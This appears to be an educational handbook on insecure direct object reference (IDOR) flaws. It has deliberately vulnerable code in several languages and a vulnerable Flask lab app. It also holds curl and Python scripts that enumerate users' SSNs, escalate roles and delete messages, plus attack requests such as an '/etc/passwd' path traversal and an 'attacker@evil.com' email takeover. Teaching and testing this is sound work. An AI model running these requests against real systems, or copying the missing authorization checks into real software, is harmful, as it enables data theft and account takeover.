# Insecure Direct Object References (IDOR) Handbook

### Insecure Direct Object References (IDOR)

***

{% hint style="success" %}

## 📋 Table of Contents

1. [Introduction & Fundamentals](#chapter-1-introduction--fundamentals)
2. [How IDOR Works — The Mechanics](#chapter-2-how-idor-works--the-mechanics)
3. [Types of IDOR Vulnerabilities](#chapter-3-types-of-idor-vulnerabilities)
4. [Where to Find IDOR — Attack Surfaces](#chapter-4-where-to-find-idor--attack-surfaces)
5. [Real-World Examples & Case Studies](#chapter-5-real-world-examples--case-studies)
6. [Hands-On Lab Exercises](#chapter-6-hands-on-lab-exercises)
7. [Tools & Techniques for Testing](#chapter-7-tools--techniques-for-testing)
8. [Impact & Risk Assessment](#chapter-8-impact--risk-assessment)
9. [Prevention & Mitigation](#chapter-9-prevention--mitigation)
10. [Advanced IDOR Techniques](#chapter-10-advanced-idor-techniques)
11. [IDOR in APIs (REST, GraphQL, gRPC)](#chapter-11-idor-in-apis)
12. [Cheat Sheet & Quick Reference](#chapter-12-cheat-sheet--quick-reference)
    {% endhint %}

***

## Chapter 1: Introduction & Fundamentals

### 1.1 What is IDOR?

**Insecure Direct Object Reference (IDOR)** is an access control vulnerability that occurs when an application uses **user-supplied input** to directly access objects (such as database records, files, or resources) **without proper authorization checks**.

In simpler terms: the application trusts that the user is authorized to access a resource simply because they know (or can guess) its identifier.

#### The Core Problem

```
User A is logged in → Requests /api/user/1001/profile → Gets User A's data ✅
User A is logged in → Requests /api/user/1002/profile → Gets User B's data ❌ (IDOR!)
```

The application checked **authentication** (is someone logged in?) but NOT **authorization** (is THIS person allowed to access THIS resource?).

### 1.2 Where IDOR Sits in Security Frameworks

| Framework               | Classification                                            |
| ----------------------- | --------------------------------------------------------- |
| **OWASP Top 10 (2021)** | A01: Broken Access Control                                |
| **OWASP Top 10 (2017)** | A5: Broken Access Control                                 |
| **OWASP Top 10 (2013)** | A4: Insecure Direct Object References                     |
| **CWE**                 | CWE-639: Authorization Bypass Through User-Controlled Key |
| **SANS Top 25**         | Improper Access Control                                   |
| **CVSS**                | Varies: Medium to Critical (4.0 – 9.8)                    |

### 1.3 Authentication vs. Authorization — The Critical Distinction

```
┌─────────────────────────────────────────────────────┐
│                   Security Gate                      │
│                                                     │
│  Authentication: "WHO are you?"                     │
│  ├── Username/Password                              │
│  ├── Session Token                                  │
│  └── JWT / OAuth Token                              │
│                                                     │
│  Authorization: "WHAT are you allowed to do?"       │
│  ├── Can you view THIS record?                      │
│  ├── Can you edit THIS file?                        │
│  └── Can you delete THIS resource?                  │
│                                                     │
│  IDOR = Authentication ✅  Authorization ❌          │
└─────────────────────────────────────────────────────┘
```

### 1.4 The Analogy

Imagine a hotel:

* **Authentication** = Having a key card that lets you into the building
* **Authorization** = Your key card should ONLY open YOUR room (Room 301)
* **IDOR** = Your key card opens Room 301, but if you just type "302" on the door panel, it opens Room 302 too — because the system never checks if your card is authorized for Room 302

***

## Chapter 2: How IDOR Works — The Mechanics

### 2.1 The Vulnerable Flow

```
Step 1: User logs in and gets a session/token
Step 2: User navigates to their profile/resource
Step 3: Application sends a request with an object identifier
Step 4: Server retrieves the object using that identifier
Step 5: Server returns the object WITHOUT checking ownership

         ┌──────────┐                    ┌──────────┐
         │  User A  │                    │  Server  │
         │ (ID:1001)│                    │          │
         └────┬─────┘                    └────┬─────┘
              │                               │
              │  GET /invoice/5001            │
              │──────────────────────────────>│
              │                               │
              │        (Server checks:        │
              │         Is user logged in? ✅ │
              │         Does user own          │
              │         invoice 5001? ❌       │
              │         NOT CHECKED!)         │
              │                               │
              │  200 OK {invoice data}        │
              │<──────────────────────────────│
              │                               │
              │  GET /invoice/5002            │
              │  (belongs to User B!)         │
              │──────────────────────────────>│
              │                               │
              │  200 OK {User B's invoice!}   │
              │<──────────────────────────────│
```

### 2.2 Vulnerable Code Examples

#### Example 1: Python Flask (Vulnerable)

```python
# ❌ VULNERABLE CODE — DO NOT USE IN PRODUCTION
@app.route('/api/user/<int:user_id>/profile', methods=['GET'])
@login_required
def get_profile(user_id):
    # The user_id comes directly from the URL
    # No check if the logged-in user owns this profile
    user = db.query(User).filter(User.id == user_id).first()
    if user:
        return jsonify({
            'id': user.id,
            'name': user.name,
            'email': user.email,
            'ssn': user.ssn,          # Sensitive!
            'address': user.address    # Sensitive!
        })
    return jsonify({'error': 'Not found'}), 404
```

#### Example 2: Node.js Express (Vulnerable)

```javascript
// ❌ VULNERABLE CODE
app.get('/api/orders/:orderId', authenticateToken, (req, res) => {
    const orderId = req.params.orderId;
    
    // Directly queries database with user-supplied orderId
    // No ownership verification!
    db.query('SELECT * FROM orders WHERE id = ?', [orderId], (err, results) => {
        if (results.length > 0) {
            res.json(results[0]);
        } else {
            res.status(404).json({ error: 'Order not found' });
        }
    });
});
```

#### Example 3: PHP (Vulnerable)

```php
<?php
// ❌ VULNERABLE CODE
session_start();
if (!isset($_SESSION['user_id'])) {
    header('Location: /login');
    exit;
}

$document_id = $_GET['doc_id'];  // User-controlled input

// No authorization check!
$stmt = $pdo->prepare("SELECT * FROM documents WHERE id = ?");
$stmt->execute([$document_id]);
$document = $stmt->fetch();

// Serves the document to anyone who knows the ID
header('Content-Type: application/pdf');
readfile($document['file_path']);
?>
```

#### Example 4: Java Spring Boot (Vulnerable)

```java
// ❌ VULNERABLE CODE
@RestController
@RequestMapping("/api")
public class AccountController {

    @GetMapping("/accounts/{accountId}")
    public ResponseEntity<Account> getAccount(
            @PathVariable Long accountId,
            @AuthenticationPrincipal UserDetails userDetails) {
        
        // Fetches account by ID without checking if user owns it
        Account account = accountRepository.findById(accountId)
            .orElseThrow(() -> new ResourceNotFoundException("Account not found"));
        
        // Returns account data — even if it belongs to someone else!
        return ResponseEntity.ok(account);
    }
}
```

### 2.3 What Makes the Identifier "Insecure"?

The vulnerability isn't in the identifier itself — it's in the **lack of authorization**. However, certain identifier types make exploitation easier:

| Identifier Type      | Example                        | Guessability          | Risk Level                       |
| -------------------- | ------------------------------ | --------------------- | -------------------------------- |
| Sequential Integer   | `id=1001, 1002, 1003`          | Very Easy             | 🔴 High                          |
| Short Numeric        | `id=4521`                      | Easy to brute-force   | 🔴 High                          |
| Predictable String   | `user=john.doe`                | Guessable             | 🟡 Medium                        |
| UUID v1 (Time-based) | `550e8400-e29b-41d4-...`       | Partially predictable | 🟡 Medium                        |
| UUID v4 (Random)     | `f47ac10b-58cc-4372-...`       | Hard to guess         | 🟢 Lower (but still vulnerable!) |
| Encoded Value        | `id=MTAwMQ==` (base64 of 1001) | Security by obscurity | 🔴 High                          |
| Hashed Value         | `id=a4b2c3d4e5f6...`           | Depends on algorithm  | 🟡 Medium                        |

> **⚠️ Important Teaching Point:** Using UUIDs or hashed IDs does NOT fix IDOR! It only makes it harder to guess. If a UUID leaks (in URLs, emails, logs, APIs), the vulnerability is fully exploitable. **Authorization checks are the ONLY real fix.**

***

## Chapter 3: Types of IDOR Vulnerabilities

### 3.1 Horizontal IDOR (Most Common)

**Definition:** A user accesses resources belonging to **another user at the same privilege level**.

```
User A (Regular User) ──→ Accesses User B's (Regular User) data
```

**Example:**

```http
# User A's request (legitimate)
GET /api/messages/inbox?user_id=1001 HTTP/1.1
Cookie: session=userA_session_token

# User A changes the user_id to access User B's inbox
GET /api/messages/inbox?user_id=1002 HTTP/1.1
Cookie: session=userA_session_token
```

### 3.2 Vertical IDOR (Privilege Escalation)

**Definition:** A regular user accesses resources belonging to a **higher-privileged user** (admin, manager).

```
Regular User ──→ Accesses Admin's resources/functionality
```

**Example:**

```http
# Regular user discovers admin panel endpoint
GET /api/admin/users/all HTTP/1.1
Cookie: session=regular_user_token

# Or modifies their role
PUT /api/user/profile HTTP/1.1
Content-Type: application/json
Cookie: session=regular_user_token

{
    "user_id": 1001,
    "role": "admin"    ← Changing own role!
}
```

### 3.3 Based on HTTP Method / Operation

#### 3.3.1 Read-Based IDOR (Information Disclosure)

```http
GET /api/users/1002/medical-records HTTP/1.1
```

→ Viewing another user's sensitive data

#### 3.3.2 Write-Based IDOR (Data Modification)

```http
PUT /api/users/1002/email HTTP/1.1
Content-Type: application/json

{"email": "attacker@evil.com"}
```

→ Modifying another user's data

#### 3.3.3 Delete-Based IDOR (Data Destruction)

```http
DELETE /api/users/1002/account HTTP/1.1
```

→ Deleting another user's account

#### 3.3.4 Create-Based IDOR

```http
POST /api/users/1002/notes HTTP/1.1
Content-Type: application/json

{"note": "Malicious content injected into another user's notes"}
```

→ Creating resources in another user's context

### 3.4 Based on Object Location

#### 3.4.1 URL Path IDOR

```http
GET /api/users/1002/profile
GET /documents/report-1002.pdf
GET /files/user/1002/avatar.jpg
```

#### 3.4.2 Query Parameter IDOR

```http
GET /api/profile?userId=1002
GET /download?fileId=8829
GET /invoice?id=55443&format=pdf
```

#### 3.4.3 Request Body IDOR

```http
POST /api/transfer HTTP/1.1
Content-Type: application/json

{
    "from_account": "1002",    ← Attacker changes this
    "to_account": "9999",
    "amount": 5000
}
```

#### 3.4.4 Header-Based IDOR

```http
GET /api/profile HTTP/1.1
X-User-ID: 1002               ← Custom header manipulation
```

#### 3.4.5 Cookie-Based IDOR

```http
GET /api/dashboard HTTP/1.1
Cookie: session=abc123; user_id=1002    ← Cookie manipulation
```

### 3.5 Based on Reference Type

#### 3.5.1 Direct Database Reference

```
/api/user/1002          → Database primary key
/api/order/ORD-55443    → Business identifier
```

#### 3.5.2 File System Reference

```
/api/download?file=../../../etc/passwd     → Path traversal + IDOR
/api/download?file=user_1002_report.pdf    → Predictable filename
```

#### 3.5.3 Object Storage Reference

```
/api/files?bucket=company&key=hr/salaries_2024.xlsx
```

### 3.6 Summary Table

```
┌──────────────────────────────────────────────────────────────┐
│                    IDOR Taxonomy                             │
├──────────────┬───────────────────────────────────────────────┤
│ By Direction │ Horizontal | Vertical                        │
├──────────────┼───────────────────────────────────────────────┤
│ By Operation │ Read | Write | Delete | Create               │
├──────────────┼───────────────────────────────────────────────┤
│ By Location  │ URL Path | Query Param | Body | Header |     │
│              │ Cookie                                        │
├──────────────┼───────────────────────────────────────────────┤
│ By Reference │ Database ID | File Path | Object Key |       │
│              │ API Resource                                  │
└──────────────┴───────────────────────────────────────────────┘
```

***

## Chapter 4: Where to Find IDOR — Attack Surfaces

### 4.1 Common Vulnerable Endpoints

#### User Management

```http
GET    /api/users/{id}
GET    /api/users/{id}/profile
PUT    /api/users/{id}/settings
DELETE /api/users/{id}
GET    /api/users/{id}/notifications
```

#### Financial / Billing

```http
GET    /api/invoices/{invoiceId}
GET    /api/transactions/{txnId}
GET    /api/billing/{userId}/history
POST   /api/refund/{orderId}
GET    /api/payment-methods/{id}
```

#### Document / File Management

```http
GET    /api/documents/{docId}/download
GET    /api/files/{fileId}
DELETE /api/attachments/{attachmentId}
GET    /api/reports/{reportId}
```

#### Messaging / Communication

```http
GET    /api/messages/{messageId}
GET    /api/conversations/{conversationId}
GET    /api/inbox/{userId}
DELETE /api/messages/{messageId}
```

#### E-Commerce

```http
GET    /api/orders/{orderId}
GET    /api/orders/{orderId}/tracking
GET    /api/cart/{cartId}
GET    /api/wishlist/{userId}
GET    /api/returns/{returnId}
```

#### Healthcare / Sensitive

```http
GET    /api/patients/{patientId}/records
GET    /api/prescriptions/{prescriptionId}
GET    /api/appointments/{appointmentId}
GET    /api/lab-results/{resultId}
```

#### Admin / Management

```http
GET    /api/admin/users/{userId}
POST   /api/admin/users/{userId}/reset-password
GET    /api/admin/logs/{logId}
PUT    /api/admin/settings/{settingId}
```

### 4.2 Hidden IDOR Locations Students Often Miss

#### 4.2.1 In Redirect URLs

```http
POST /login HTTP/1.1
...
Response:
HTTP/1.1 302 Found
Location: /dashboard?user=1001    ← Change to 1002
```

#### 4.2.2 In WebSocket Messages

```json
// WebSocket frame
{"action": "subscribe", "channel": "user_1002_notifications"}
```

#### 4.2.3 In GraphQL Queries

```graphql
query {
    user(id: 1002) {
        name
        email
        ssn
        bankAccount
    }
}
```

#### 4.2.4 In File Upload Paths

```http
POST /api/upload HTTP/1.1
Content-Type: multipart/form-data

------boundary
Content-Disposition: form-data; name="file"; filename="avatar.jpg"
Content-Disposition: form-data; name="userId"; value="1002"   ← IDOR
```

#### 4.2.5 In Export/Report Generation

```http
GET /api/export/user-data?userId=1002&format=csv
POST /api/reports/generate
{"type": "salary", "employee_id": 1002}
```

#### 4.2.6 In Password Reset / Account Recovery

```http
POST /api/password-reset HTTP/1.1
{"user_id": 1002, "new_password": "hacked123"}
```

#### 4.2.7 In Support Tickets

```http
GET /api/tickets/{ticketId}
POST /api/tickets/{ticketId}/reply
```

### 4.3 Identifying IDOR Candidates — Methodology

```
Step 1: Map the Application
├── Browse all features as an authenticated user
├── Note every request that contains an identifier
├── Document all parameters (URL, body, headers, cookies)
└── Create an endpoint inventory

Step 2: Identify Object References
├── Look for numeric IDs (1001, 1002)
├── Look for UUIDs
├── Look for encoded values (Base64, hex)
├── Look for file paths or names
└── Look for business identifiers (ORD-001, INV-2024-001)

Step 3: Test with Two Accounts
├── Create Account A and Account B
├── Perform actions as Account A, capture all IDs
├── Try accessing Account A's resources using Account B's session
└── Check if access is granted without authorization

Step 4: Analyze Responses
├── 200 OK with data = IDOR confirmed!
├── 200 OK with empty/different data = Possible partial IDOR
├── 403 Forbidden = Access control exists
├── 404 Not Found = May or may not have access control
└── 401 Unauthorized = Authentication check (not authorization)
```

***

## Chapter 5: Real-World Examples & Case Studies

### 5.1 Case Study 1: Facebook — View Private Photos (2015)

**Vulnerability:** An attacker could view any user's private photos by manipulating the photo ID in the Graph API.

```http
GET /graph/api/v2.0/{photo_id} HTTP/1.1
Authorization: Bearer {attacker_token}
```

**Impact:** Access to billions of private photos. **Bounty:** $12,500 **Root Cause:** Missing ownership check on the photo resource.

### 5.2 Case Study 2: UBER — Access Any Trip Details

**Vulnerability:** Uber's API allowed any authenticated user to view any rider's trip details by changing the trip UUID.

```http
GET /api/rider/trip/{trip_uuid} HTTP/1.1
Authorization: Bearer {any_user_token}
```

**Leaked Data:** Pickup/dropoff locations, driver details, fare amount, route taken. **Root Cause:** Authorization checked if a valid token was present, but not if the token owner was associated with the trip.

### 5.3 Case Study 3: US Department of Defense — Military Personnel Data

**Vulnerability:** A bug bounty hunter discovered an IDOR in a DoD web application that exposed military personnel records.

```http
GET /personnel/record?id=1 HTTP/1.1
# Changed to
GET /personnel/record?id=2 HTTP/1.1
```

**Impact:** Social Security Numbers, addresses, service records of military members.

### 5.4 Case Study 4: Shopify — Accessing Other Merchants' Revenue Data

**Vulnerability:**

```http
GET /admin/api/2021-01/reports/{report_id}.json HTTP/1.1
X-Shopify-Access-Token: {token_for_shop_A}
```

By changing `report_id`, Shop A could view Shop B's financial reports.

**Bounty:** $15,000+

### 5.5 Case Study 5: HackerOne — Access Private Bug Reports

**Vulnerability:** An IDOR in HackerOne's platform allowed reading private bug reports of other companies.

```http
GET /reports/{report_id}.json HTTP/1.1
```

Sequential report IDs made enumeration trivial.

**Irony Level:** Maximum — a bug bounty platform had a critical vulnerability.

### 5.6 Case Study 6: Banking Application — Fund Transfer IDOR

**Vulnerability:**

```http
POST /api/transfer HTTP/1.1
{
    "source_account": "ACC-7890",  ← Changed to another customer's account
    "destination_account": "ACC-ATTACKER",
    "amount": 10000
}
```

**Impact:** Direct financial loss. Attacker could transfer money FROM any account. **Severity:** Critical (CVSS 9.8)

### 5.7 Case Study 7: Healthcare Platform — Patient Record Access

**Vulnerability:** A health tech company's patient portal exposed medical records through sequential patient IDs.

```
https://portal.example.com/patient/records?pid=10001
https://portal.example.com/patient/records?pid=10002  ← Another patient!
```

**Exposed Data:** Diagnoses, lab results, prescriptions, insurance details. **Regulatory Impact:** HIPAA violation — potential multi-million dollar fines.

### 5.8 IDOR in Bug Bounty — Statistics

| Platform  | IDOR Reports (Approx.) | Average Bounty | % of All Reports |
| --------- | ---------------------- | -------------- | ---------------- |
| HackerOne | 15,000+                | $800–$3,000    | \~15%            |
| Bugcrowd  | 10,000+                | $500–$2,500    | \~18%            |
| Synack    | Undisclosed            | $1,000–$5,000  | \~20%            |

> **Teaching Point:** IDOR is one of the MOST commonly found and rewarded vulnerability classes in bug bounty programs.

***

## Chapter 6: Hands-On Lab Exercises

### 6.1 Lab Environment Setup

#### Option 1: Use Existing Vulnerable Apps

```bash
# OWASP Juice Shop
docker run -p 3000:3000 bkimminich/juice-shop

# DVWA (Damn Vulnerable Web Application)
docker run -d -p 8080:80 vulnerables/web-dvwa

# OWASP WebGoat
docker run -p 8080:8080 -p 9090:9090 webgoat/webgoat

# PortSwigger Web Security Academy (Online - Free)
# https://portswigger.net/web-security/access-control/lab-insecure-direct-object-references
```

#### Option 2: Build a Custom Vulnerable Lab

```python
# vulnerable_app.py — Flask-based IDOR Lab
from flask import Flask, request, jsonify, session
import sqlite3

app = Flask(__name__)
app.secret_key = 'super-secret-key-for-lab'

def init_db():
    conn = sqlite3.connect('lab.db')
    c = conn.cursor()
    c.execute('''CREATE TABLE IF NOT EXISTS users (
        id INTEGER PRIMARY KEY,
        username TEXT,
        password TEXT,
        email TEXT,
        ssn TEXT,
        salary REAL,
        role TEXT DEFAULT 'user'
    )''')
    c.execute('''CREATE TABLE IF NOT EXISTS orders (
        id INTEGER PRIMARY KEY,
        user_id INTEGER,
        product TEXT,
        amount REAL,
        status TEXT,
        shipping_address TEXT
    )''')
    c.execute('''CREATE TABLE IF NOT EXISTS messages (
        id INTEGER PRIMARY KEY,
        sender_id INTEGER,
        receiver_id INTEGER,
        subject TEXT,
        body TEXT,
        is_private INTEGER DEFAULT 1
    )''')
    c.execute('''CREATE TABLE IF NOT EXISTS documents (
        id INTEGER PRIMARY KEY,
        user_id INTEGER,
        filename TEXT,
        file_path TEXT,
        doc_type TEXT
    )''')
    
    # Seed data
    users = [
        (1, 'alice', 'password123', 'alice@example.com', '123-45-6789', 75000, 'user'),
        (2, 'bob', 'password456', 'bob@example.com', '987-65-4321', 85000, 'user'),
        (3, 'charlie', 'password789', 'charlie@example.com', '555-12-3456', 95000, 'manager'),
        (4, 'admin', 'admin123', 'admin@example.com', '111-22-3333', 150000, 'admin'),
    ]
    c.executemany('INSERT OR IGNORE INTO users VALUES (?,?,?,?,?,?,?)', users)
    
    orders = [
        (1, 1, 'Laptop', 999.99, 'shipped', '123 Alice St, NY'),
        (2, 1, 'Mouse', 29.99, 'delivered', '123 Alice St, NY'),
        (3, 2, 'Monitor', 499.99, 'processing', '456 Bob Ave, CA'),
        (4, 2, 'Keyboard', 79.99, 'shipped', '456 Bob Ave, CA'),
        (5, 3, 'Server', 2999.99, 'delivered', '789 Charlie Blvd, TX'),
    ]
    c.executemany('INSERT OR IGNORE INTO orders VALUES (?,?,?,?,?,?)', orders)
    
    messages = [
        (1, 1, 2, 'Meeting Tomorrow', 'Hey Bob, can we meet at 3pm?', 1),
        (2, 2, 1, 'Re: Meeting Tomorrow', 'Sure Alice, see you then!', 1),
        (3, 3, 4, 'Confidential: Q4 Revenue', 'Revenue numbers attached...', 1),
        (4, 4, 3, 'Re: Confidential', 'Thanks, keep this private.', 1),
    ]
    c.executemany('INSERT OR IGNORE INTO messages VALUES (?,?,?,?,?,?)', messages)
    
    documents = [
        (1, 1, 'alice_tax_return.pdf', '/docs/alice_tax_return.pdf', 'financial'),
        (2, 2, 'bob_medical_report.pdf', '/docs/bob_medical_report.pdf', 'medical'),
        (3, 3, 'salary_report_2024.xlsx', '/docs/salary_report_2024.xlsx', 'hr'),
        (4, 4, 'admin_credentials.txt', '/docs/admin_credentials.txt', 'admin'),
    ]
    c.executemany('INSERT OR IGNORE INTO documents VALUES (?,?,?,?,?)', documents)
    
    conn.commit()
    conn.close()

init_db()

# ============ Authentication ============

@app.route('/api/login', methods=['POST'])
def login():
    data = request.json
    conn = sqlite3.connect('lab.db')
    c = conn.cursor()
    c.execute('SELECT id, username, role FROM users WHERE username=? AND password=?',
              (data['username'], data['password']))
    user = c.fetchone()
    conn.close()
    
    if user:
        session['user_id'] = user[0]
        session['username'] = user[1]
        session['role'] = user[2]
        return jsonify({'message': f'Welcome {user[1]}!', 'user_id': user[0]})
    return jsonify({'error': 'Invalid credentials'}), 401

# ============ IDOR VULNERABILITY 1: User Profile ============

@app.route('/api/users/<int:user_id>/profile', methods=['GET'])
def get_profile(user_id):
    """IDOR: Any logged-in user can view any other user's profile"""
    if 'user_id' not in session:
        return jsonify({'error': 'Not authenticated'}), 401
    
    # ❌ No authorization check!
    conn = sqlite3.connect('lab.db')
    c = conn.cursor()
    c.execute('SELECT id, username, email, ssn, salary, role FROM users WHERE id=?', (user_id,))
    user = c.fetchone()
    conn.close()
    
    if user:
        return jsonify({
            'id': user[0], 'username': user[1], 'email': user[2],
            'ssn': user[3], 'salary': user[4], 'role': user[5]
        })
    return jsonify({'error': 'User not found'}), 404

# ============ IDOR VULNERABILITY 2: Orders ============

@app.route('/api/orders/<int:order_id>', methods=['GET'])
def get_order(order_id):
    """IDOR: View any user's order details"""
    if 'user_id' not in session:
        return jsonify({'error': 'Not authenticated'}), 401
    
    # ❌ No ownership check!
    conn = sqlite3.connect('lab.db')
    c = conn.cursor()
    c.execute('SELECT * FROM orders WHERE id=?', (order_id,))
    order = c.fetchone()
    conn.close()
    
    if order:
        return jsonify({
            'order_id': order[0], 'user_id': order[1], 'product': order[2],
            'amount': order[3], 'status': order[4], 'shipping_address': order[5]
        })
    return jsonify({'error': 'Order not found'}), 404

# ============ IDOR VULNERABILITY 3: Delete Message ============

@app.route('/api/messages/<int:msg_id>', methods=['GET', 'DELETE'])
def handle_message(msg_id):
    """IDOR: Read or delete any user's messages"""
    if 'user_id' not in session:
        return jsonify({'error': 'Not authenticated'}), 401
    
    conn = sqlite3.connect('lab.db')
    c = conn.cursor()
    
    if request.method == 'GET':
        c.execute('SELECT * FROM messages WHERE id=?', (msg_id,))
        msg = c.fetchone()
        conn.close()
        if msg:
            return jsonify({
                'id': msg[0], 'sender_id': msg[1], 'receiver_id': msg[2],
                'subject': msg[3], 'body': msg[4]
            })
    elif request.method == 'DELETE':
        c.execute('DELETE FROM messages WHERE id=?', (msg_id,))
        conn.commit()
        conn.close()
        return jsonify({'message': 'Message deleted'})
    
    return jsonify({'error': 'Message not found'}), 404

# ============ IDOR VULNERABILITY 4: Documents ============

@app.route('/api/documents/<int:doc_id>', methods=['GET'])
def get_document(doc_id):
    """IDOR: Download any user's documents"""
    if 'user_id' not in session:
        return jsonify({'error': 'Not authenticated'}), 401
    
    conn = sqlite3.connect('lab.db')
    c = conn.cursor()
    c.execute('SELECT * FROM documents WHERE id=?', (doc_id,))
    doc = c.fetchone()
    conn.close()
    
    if doc:
        return jsonify({
            'id': doc[0], 'user_id': doc[1], 'filename': doc[2],
            'file_path': doc[3], 'doc_type': doc[4]
        })
    return jsonify({'error': 'Document not found'}), 404

# ============ IDOR VULNERABILITY 5: Modify Profile ============

@app.route('/api/users/<int:user_id>/profile', methods=['PUT'])
def update_profile(user_id):
    """IDOR: Modify any user's profile including role escalation"""
    if 'user_id' not in session:
        return jsonify({'error': 'Not authenticated'}), 401
    
    data = request.json
    conn = sqlite3.connect('lab.db')
    c = conn.cursor()
    
    # ❌ No authorization check! Can even change role!
    if 'email' in data:
        c.execute('UPDATE users SET email=? WHERE id=?', (data['email'], user_id))
    if 'role' in data:
        c.execute('UPDATE users SET role=? WHERE id=?', (data['role'], user_id))
    
    conn.commit()
    conn.close()
    return jsonify({'message': 'Profile updated'})

if __name__ == '__main__':
    app.run(debug=True, port=5000)
```

### 6.2 Lab Exercises

#### Exercise 1: Basic IDOR Discovery (Beginner)

**Objective:** Find and exploit a horizontal IDOR to view another user's profile.

**Steps:**

```bash
# 1. Login as alice
curl -X POST http://localhost:5000/api/login \
  -H "Content-Type: application/json" \
  -d '{"username":"alice","password":"password123"}' \
  -c cookies.txt

# 2. View your own profile (user_id=1)
curl http://localhost:5000/api/users/1/profile -b cookies.txt

# 3. EXPLOIT: View bob's profile (user_id=2)
curl http://localhost:5000/api/users/2/profile -b cookies.txt

# 4. EXPLOIT: View admin's profile (user_id=4) — Vertical IDOR
curl http://localhost:5000/api/users/4/profile -b cookies.txt

# 5. ENUMERATE: Loop through all users
for i in $(seq 1 10); do
    echo "=== User $i ==="
    curl -s http://localhost:5000/api/users/$i/profile -b cookies.txt
    echo
done
```

**Expected Learning:**

* Student sees they can access SSN, salary, email of other users
* Student discovers admin credentials through enumeration

#### Exercise 2: Order Information Theft (Beginner)

**Objective:** Access another user's order details including shipping addresses.

```bash
# Login as alice, access bob's orders
curl http://localhost:5000/api/orders/3 -b cookies.txt
curl http://localhost:5000/api/orders/4 -b cookies.txt

# Access manager's high-value order
curl http://localhost:5000/api/orders/5 -b cookies.txt
```

#### Exercise 3: Write-Based IDOR — Privilege Escalation (Intermediate)

**Objective:** Escalate your privileges from regular user to admin.

```bash
# Login as alice (regular user)
# Modify your own role to admin
curl -X PUT http://localhost:5000/api/users/1/profile \
  -H "Content-Type: application/json" \
  -d '{"role":"admin"}' \
  -b cookies.txt

# Verify escalation
curl http://localhost:5000/api/users/1/profile -b cookies.txt
```

#### Exercise 4: Delete-Based IDOR (Intermediate)

**Objective:** Delete another user's messages.

```bash
# Read confidential message between manager and admin
curl http://localhost:5000/api/messages/3 -b cookies.txt

# Delete it
curl -X DELETE http://localhost:5000/api/messages/3 -b cookies.txt
```

#### Exercise 5: Mass Enumeration Attack (Advanced)

**Objective:** Write a Python script to enumerate and extract all user data.

```python
import requests

BASE = "http://localhost:5000"

# Login
s = requests.Session()
s.post(f"{BASE}/api/login", json={"username": "alice", "password": "password123"})

# Enumerate all users
print("=" * 60)
print("IDOR Mass Enumeration — User Data Extraction")
print("=" * 60)

for user_id in range(1, 100):
    resp = s.get(f"{BASE}/api/users/{user_id}/profile")
    if resp.status_code == 200:
        data = resp.json()
        print(f"\n[FOUND] User ID: {data['id']}")
        print(f"  Username: {data['username']}")
        print(f"  Email:    {data['email']}")
        print(f"  SSN:      {data['ssn']}")
        print(f"  Salary:   ${data['salary']:,.2f}")
        print(f"  Role:     {data['role']}")

# Enumerate all orders
print("\n" + "=" * 60)
print("Order Data Extraction")
print("=" * 60)

for order_id in range(1, 100):
    resp = s.get(f"{BASE}/api/orders/{order_id}")
    if resp.status_code == 200:
        data = resp.json()
        print(f"\n[FOUND] Order ID: {data['order_id']}")
        print(f"  Belongs to User: {data['user_id']}")
        print(f"  Product:  {data['product']}")
        print(f"  Amount:   ${data['amount']:,.2f}")
        print(f"  Address:  {data['shipping_address']}")

# Enumerate all messages
print("\n" + "=" * 60)
print("Private Message Extraction")
print("=" * 60)

for msg_id in range(1, 100):
    resp = s.get(f"{BASE}/api/messages/{msg_id}")
    if resp.status_code == 200:
        data = resp.json()
        print(f"\n[FOUND] Message ID: {data['id']}")
        print(f"  From: User {data['sender_id']} → To: User {data['receiver_id']}")
        print(f"  Subject: {data['subject']}")
        print(f"  Body: {data['body']}")
```

***

## Chapter 7: Tools & Techniques for Testing

### 7.1 Essential Tools

#### 7.1.1 Burp Suite (Primary Tool)

```
Setup for IDOR Testing:
1. Configure browser proxy → 127.0.0.1:8080
2. Browse target application as User A
3. Capture requests in Proxy → HTTP History
4. Send interesting requests to Repeater
5. Modify object references
6. Compare responses
```

**Key Burp Features for IDOR:**

| Feature                  | Use Case                                          |
| ------------------------ | ------------------------------------------------- |
| **Repeater**             | Manually modify and resend requests               |
| **Intruder**             | Automate ID enumeration                           |
| **Comparer**             | Compare responses between authorized/unauthorized |
| **Autorize Extension**   | Automatically test every request for IDOR         |
| **AuthMatrix Extension** | Test access control across multiple roles         |

#### 7.1.2 Autorize — Burp Extension (Must-Have)

```
How Autorize Works:
1. Login as User A (low-privilege) in browser
2. Set User A's cookies in Autorize
3. Browse the application as User B (or Admin) in browser
4. Autorize automatically replays every request using User A's session
5. Compares responses to detect IDOR

Color Coding:
🔴 Red = Authorization bypassed (IDOR found!)
🟡 Yellow = Potential bypass (different response, needs review)
🟢 Green = Properly enforced (access denied)
```

#### 7.1.3 OWASP ZAP

```
Access Control Testing Add-on:
1. Create contexts for different users
2. Spider the application with each user
3. Use Access Control Scanner
4. Review results for unauthorized access
```

#### 7.1.4 Postman / Insomnia

```
Manual API Testing:
1. Create two environments (User A, User B)
2. Set different auth tokens for each
3. Create request collections for all endpoints
4. Switch environments and check access
```

#### 7.1.5 Custom Scripts

**Python with Requests:**

```python
import requests
import json

class IDORTester:
    def __init__(self, base_url):
        self.base_url = base_url
        self.session_a = requests.Session()  # Attacker
        self.session_b = requests.Session()  # Victim
    
    def login(self, session, username, password):
        resp = session.post(f"{self.base_url}/api/login", 
                          json={"username": username, "password": password})
        return resp.status_code == 200
    
    def test_endpoint(self, endpoint_template, id_range, method='GET'):
        """
        Test an endpoint for IDOR.
        endpoint_template: '/api/users/{id}/profile'
        id_range: range(1, 100)
        """
        print(f"\n{'='*60}")
        print(f"Testing: {endpoint_template}")
        print(f"{'='*60}")
        
        for obj_id in id_range:
            endpoint = endpoint_template.replace('{id}', str(obj_id))
            
            if method == 'GET':
                resp = self.session_a.get(f"{self.base_url}{endpoint}")
            
            if resp.status_code == 200:
                print(f"[IDOR!] {method} {endpoint} → 200 OK")
                print(f"  Data: {json.dumps(resp.json(), indent=2)[:200]}")
            elif resp.status_code == 403:
                print(f"[SAFE]  {method} {endpoint} → 403 Forbidden")
            elif resp.status_code == 404:
                print(f"[----]  {method} {endpoint} → 404 Not Found")

# Usage
tester = IDORTester("http://target.com")
tester.login(tester.session_a, "attacker_user", "password")

tester.test_endpoint('/api/users/{id}/profile', range(1, 20))
tester.test_endpoint('/api/orders/{id}', range(1, 50))
tester.test_endpoint('/api/documents/{id}', range(1, 30))
```

**Bash / cURL one-liner for quick testing:**

```bash
